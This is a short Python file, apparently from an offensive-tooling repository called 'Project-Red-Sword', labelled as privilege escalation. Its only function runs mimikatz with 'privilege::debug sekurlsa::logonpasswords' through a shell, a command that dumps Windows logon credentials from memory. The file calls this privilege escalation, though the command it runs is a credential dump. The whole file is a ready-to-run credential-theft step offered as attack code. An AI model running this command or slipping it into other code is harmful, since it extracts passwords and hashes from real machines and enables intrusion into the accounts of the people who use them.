Project-Red-Sword / offense /privilege_escalation.py
dia-gov's picture
Upload 433 files
5f491f6 verified
import subprocess
def privilege_escalation():
print("Attempting privilege escalation...")
try:
command = "mimikatz.exe privilege::debug sekurlsa::logonpasswords"
subprocess.run(command, shell=True)
except Exception as e:
print(f"Privilege escalation failed: {e}")